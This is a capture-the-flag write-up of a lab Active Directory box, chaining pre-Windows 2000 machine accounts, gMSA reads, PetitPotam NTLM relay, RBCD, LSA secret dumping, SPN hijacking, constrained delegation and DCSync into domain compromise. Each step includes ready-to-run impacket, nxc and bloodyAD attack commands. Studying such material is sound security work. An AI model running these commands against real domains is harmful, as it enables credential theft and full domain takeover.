Pirate — pre2k & gMSA to RBCD/KCD Domain Admin
OS
Windows
Difficulty
Hard
Category
AD
Released
2026.02.28
Abused a pre-Windows 2000 machine account to read gMSA passwords and WinRM in. Pivoted via PetitPotam NTLM relay and RBCD for SYSTEM on WEB01, dumped a.white from LSA secrets, then chained ForceChangePassword, WriteSPN hijacking and KCD protocol transition to compromise the DC.
Want to try this box yourself?
Spoiler-free mode is on by default — every solution stays hidden behind a reveal. Peek the hints, attempt each step, then unlock the answer when you're stuck. Turn it off to read every solution inline.
As is common in real-life penetration tests, we start the Pirate box with credentials for the following account: pentest / p3nt3st2025!&
Nmap
SMB Enumeration
BloodHound Enumeration
Initial Foothold
Privilege Escalation
WEB01 Compromise
Looting WEB01
Privilege Escalation to a.white_adm
KCD with Protocol Transition & SPN Hijacking
Stuff Learned
1. Kerberos Basics
Kerberos is the authentication protocol used in Active Directory. Instead of sending passwords over the network, it uses tickets.
The flow:
- We prove our identity to the KDC (Key Distribution Center, runs on the DC)
- The KDC gives us a TGT (Ticket Granting Ticket), our "passport"
- We use the TGT to request service tickets (TGS) for specific services
- We present the service ticket to the service to gain access
The important thing: service tickets are encrypted with the service account's password hash. This is why Kerberoasting works.
2. Kerberoasting
Any domain user can request a service ticket for any account that has an SPN registered. The ticket comes back encrypted with that account's NT hash.
Since we have the encrypted blob, we can take it offline and crack it with hashcat. We never touch the account directly.
Why it matters here: a.white_adm had an SPN (ADFS/a.white) that made it Kerberoastable. The hash did not crack, but it told us the account existed and had constrained delegation.
Key command:
impacket-GetUserSPNs -dc-ip $DC pirate.htb/'pentest':'password' -request
3. BloodHound & Attack Path Mapping
BloodHound collects AD relationships (group memberships, ACLs, delegation settings) and maps paths to Domain Admin.
It works by collecting data with bloodhound-python, then visualizing it as a graph. Edges represent relationships like MemberOf, ForceChangePassword, WriteSPN, GenericAll.
Why it matters here: BloodHound revealed the entire attack chain:
a.white → ForceChangePassword → a.white_adm
a.white_adm → MemberOf → IT
IT → WriteSPN → DC01$
DC01$ → DCSync → Domain
Without BloodHound this box would be nearly impossible.
Key command:
bloodhound-ce-python --user 'pentest' --password 'password' --domain pirate.htb --collectionmethod All --zip -ns $DC
4. Pre-Windows 2000 Compatible Access
When a computer account is created with the "pre-Windows 2000 compatible" checkbox ticked, its password is set to the lowercase machine name by default (e.g. MS01$ → ms01).
The "Pre-Windows 2000 Compatible Access" builtin group grants broad read access to AD objects. In legacy environments this group includes Authenticated Users, meaning any domain user can enumerate these accounts.
Why it matters here: MS01$ and EXCH01$ were created this way. Authenticating as MS01$ gave us machine account privileges which could read gMSA passwords.
Key commands:
# Discover pre2k accounts
nxc ldap $DC -u 'pentest' -p 'password' -M pre2k
# Test default password
nxc smb $DC -u 'MS01$' -p 'ms01'
# Get TGT
impacket-getTGT pirate.htb/'MS01$':'ms01' -dc-ip $DC
5. gMSA (Group Managed Service Accounts)
gMSAs are special service accounts whose passwords are managed automatically by AD: 120 random characters, rotated regularly. We cannot crack them.
However, specific accounts or groups are configured to read the password via the msDS-GroupMSAMembership attribute. If we compromise one of those accounts, we can retrieve the NT hash directly.
Why it matters here: MS01$ was in "Domain Secure Servers" which could read both gMSA passwords. We got the NT hashes for gMSA_ADFS_prod$ and gMSA_ADCS_prod$.
Key commands:
# Check who can read the gMSA password
bloodyAD -u 'pentest' -p 'password' -d pirate.htb --host $DC get object 'gMSA_ADFS_prod$' --attr msDS-GroupMSAMembership
# Read the gMSA password (must be authenticated as an allowed principal)
nxc ldap $DC -u 'MS01$' -p 'ms01' --gmsa --kerberos
6. NTLM Relay
When a machine authenticates to us over SMB/HTTP, we can relay that authentication to another target instead of just capturing it. The target thinks the authentication came legitimately.
Requirements:
- The target must have SMB signing disabled
- We need a way to coerce authentication (PetitPotam, PrinterBug)
--remove-micbypasses Message Integrity Code checks when relaying to LDAP
Why it matters here: We coerced WEB01 to authenticate to us via PetitPotam, relayed to the DC's LDAP, and got an interactive LDAP shell as WEB01$.
Key commands:
# Start relay targeting DC LDAP
impacket-ntlmrelayx -t ldap://$DC -smb2support --remove-mic -i
# Coerce WEB01 to authenticate to us
python3 PetitPotam.py -u 'gMSA_ADFS_prod$' -hashes ':$HASH' -d pirate.htb $ATTACKER_IP 192.168.100.2
7. RBCD (Resource-Based Constrained Delegation)
Classic constrained delegation is configured on the account doing the delegating. RBCD flips this: it is configured on the target resource, specifying who is allowed to delegate to it.
If we can write to a computer object's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, we can make it trust any account we control, then impersonate anyone to that machine.
Why it matters here: Via the LDAP shell as WEB01$, we set WEB01$ to trust a machine account we controlled (ZRLHURKK$), letting us impersonate Administrator on WEB01 via S4U2Proxy.
Key commands:
# Set RBCD via ntlmrelayx --delegate-access (creates machine account automatically)
impacket-ntlmrelayx -t ldaps://$DC -smb2support --remove-mic --delegate-access
# Manually set RBCD
impacket-rbcd -delegate-from 'EVIL$' -delegate-to 'WEB01$' -dc-ip $DC -action 'write' 'pirate.htb'/'user':'password'
# Get service ticket impersonating Administrator
impacket-getST -spn 'cifs/WEB01.pirate.htb' -impersonate Administrator -dc-ip $DC 'pirate.htb/EVIL$:password'
8. S4U2Self / S4U2Proxy
These are Kerberos extensions that enable delegation:
- S4U2Self: allows a service to get a ticket to itself on behalf of any user (this is Protocol Transition). The service can impersonate any user without their password.
- S4U2Proxy: allows a service to use that self-ticket to get a ticket for another service (this is the actual delegation to the target).
Together they form the chain: "we want to impersonate Administrator → to service X → on machine Y"
Why it matters here: Used in both the WEB01 RBCD attack and the final DC01 KCD attack.
9. ForceChangePassword
An AD ACL permission that lets us reset another account's password without knowing the current one. Different from GenericAll, which gives full control over the object.
Why it matters here: a.white had ForceChangePassword over a.white_adm, letting us set a known password on the admin account once we had a.white's credentials.
Key command:
bloodyAD --host $DC -d pirate.htb -u 'a.white' -p 'password' set password 'a.white_adm' 'NewPass123!'
10. LSA Secrets Dumping
When a domain user logs into a machine, Windows caches their credentials in LSA (Local Security Authority) secrets. This includes plaintext passwords for accounts configured as service accounts or auto-logon accounts stored under the DefaultPassword key.
Why it matters here: After getting SYSTEM on WEB01, secretsdump revealed a.white's plaintext password stored in LSA secrets.
Key command:
impacket-secretsdump -k -no-pass WEB01.pirate.htb
Look for:
[*] DefaultPassword
DOMAIN\username:plaintextpassword
11. WriteSPN
An AD ACL that lets us add or modify Service Principal Names on an object. SPNs are how Kerberos maps service names to accounts: the KDC looks up which account has a given SPN registered and encrypts the ticket with that account's key.
Abuses include:
- Targeted Kerberoasting: add an SPN to make an account Kerberoastable
- SPN Hijacking: steal an SPN from one account and add it to another, redirecting Kerberos ticket encryption to a different account's key
Why it matters here: IT group had WriteSPN on DC01$, letting us move HTTP/WEB01.pirate.htb from WEB01$ to DC01$, redirecting ticket encryption to DC01$'s long-term key.
Key commands:
# Remove SPN from an object
python3 /opt/krbrelayx/addspn.py --clear -t 'WEB01$' -u 'pirate.htb\a.white_adm' -p 'Password123' $DC
# Add SPN to another object
python3 /opt/krbrelayx/addspn.py -t 'DC01$' --spn 'HTTP/WEB01.pirate.htb' -u 'pirate.htb\a.white_adm' -p 'Password123' $DC
12. KCD with Protocol Transition & SPN Hijacking
This was the final and most complex step. Three things combined:
Protocol Transition
a.white_adm had constrained delegation configured with the TrustedToAuthForDelegation flag. This means it could impersonate any user to HTTP/WEB01.pirate.htb without needing their password (S4U2Self).
How to spot it: The constrained flag in Kerberoast output, then confirmed with:
impacket-findDelegation pirate.htb/'pentest':'password' -dc-ip $DC
SPN Hijacking
We moved HTTP/WEB01.pirate.htb from WEB01$ to DC01$. Now when the KDC issues a ticket for that SPN, it encrypts it with `DC01$'s long-term key instead of WEB01$'s.
altservice Flag
We rewrite the ticket's SPN label from HTTP/WEB01.pirate.htb to cifs/DC01.pirate.htb using -altservice. The encryption is unchanged (still DC01$'s key), so DC01 decrypts and accepts it as valid.
Key commands:
# Request ticket impersonating Administrator with SPN rewrite
impacket-getST -spn 'HTTP/WEB01.pirate.htb' -altservice 'cifs/DC01.pirate.htb' -impersonate Administrator -dc-ip $DC 'pirate.htb/a.white_adm:Password123'
# Use ticket for SYSTEM shell
export KRB5CCNAME=Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache
impacket-psexec -k -no-pass DC01.pirate.htb
13. DCSync
DCSync abuses the DC replication protocol. Domain Controllers need to replicate AD data between each other. If an account has DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights, it can pretend to be a DC and request all password hashes from the real DC.
By default only DCs, Domain Admins, and Enterprise Admins have these rights. If we compromise any of these, we can dump every hash in the domain.
Key command:
impacket-secretsdump -k -no-pass DC01.pirate.htb
The Full Attack Chain
pentest (given creds)
↓ Pre2k — MS01$ password = 'ms01'
MS01$ TGT
↓ Member of Domain Secure Servers → can read gMSA passwords
gMSA_ADFS_prod$ NT hash + gMSA_ADCS_prod$ NT hash
↓ gMSA_ADFS_prod$ in Remote Management Users
WinRM shell on DC01 + WEB01
↓ PetitPotam coercion + NTLM relay to DC LDAP (--remove-mic --delegate-access)
ZRLHURKK$ machine account trusted by WEB01$ via RBCD
↓ getST S4U2Proxy impersonating Administrator
SYSTEM shell on WEB01
↓ secretsdump LSA secrets
a.white plaintext password
↓ ForceChangePassword via a.white's rights
a.white_adm (known password)
↓ WriteSPN (IT group) — move HTTP/WEB01.pirate.htb SPN to DC01$
↓ KCD Protocol Transition — getST impersonating Administrator with -altservice
Administrator ticket for cifs/DC01.pirate.htb
↓ psexec
SYSTEM on DC01
↓ DCSync
All domain hashes → Domain Admin
Key Indicators to Watch For
| What We See | What To Do |
|---|---|
constrained in Kerberoast output | Run findDelegation immediately |
Pre-Windows 2000 Compatible Access in BloodHound | Run nxc -M pre2k |
| gMSA accounts in LDAP | Check msDS-GroupMSAMembership: who can read it? |
| SMB signing disabled on a host | Consider NTLM relay |
WriteSPN edge in BloodHound | Consider SPN hijacking |
ForceChangePassword edge in BloodHound | Reset the target's password |
| Machine account with recent logon | Check if pre2k default password works |
| LSA secrets after SYSTEM | Always run secretsdump: look for DefaultPassword |
